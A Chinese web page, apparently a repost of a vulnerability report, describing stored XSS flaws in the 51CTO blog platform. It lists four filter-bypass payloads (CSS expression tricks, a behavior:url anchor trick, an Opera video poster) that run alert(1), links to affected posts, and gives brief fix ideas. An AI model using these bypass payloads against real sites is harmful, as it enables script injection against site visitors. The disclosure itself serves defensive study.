网站地图    收藏   

主页 > 后端 > 网站安全 >

51CTO博客多处存储XSS,各种bypass技巧 - 网站安全

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 1、只针对IE6有效的xss,把style里面的expression换成全角字符。div style=x:expression(alert(1))IE6/div2、IE6-IE8,IE9的兼容模式有效的xss,插入如下的代码,当鼠标点击test即触发xss。...

1、只针对IE6有效的xss,把style里面的expression换成全角字符。
<div style="x:expression(alert(1))">IE6</div>
 
 
2、IE6-IE8,IE9的兼容模式有效的xss,插入如下的代码,当鼠标点击test即触发xss。
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">test</a>
 
 
3,只有Opera高版本才会触发
<video body="" poster="javascript:alert(1)//" tabindex="0">
</video>
 
插入代码.
 
4,style跨
<img src="../attachment/201212/184326416.jpg" alt="" style="xss:expre\ssion(alert(1))" border="0" />
 
http://3407504.blog.51cto.com/3397504/1059235
 
 
 
 
http://3407504.blog.51cto.com/3397504/1090792
 

 
 
修复方案:
1,转换字符编码.
2,behavior限制? 还是在代码后面加个_blank

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论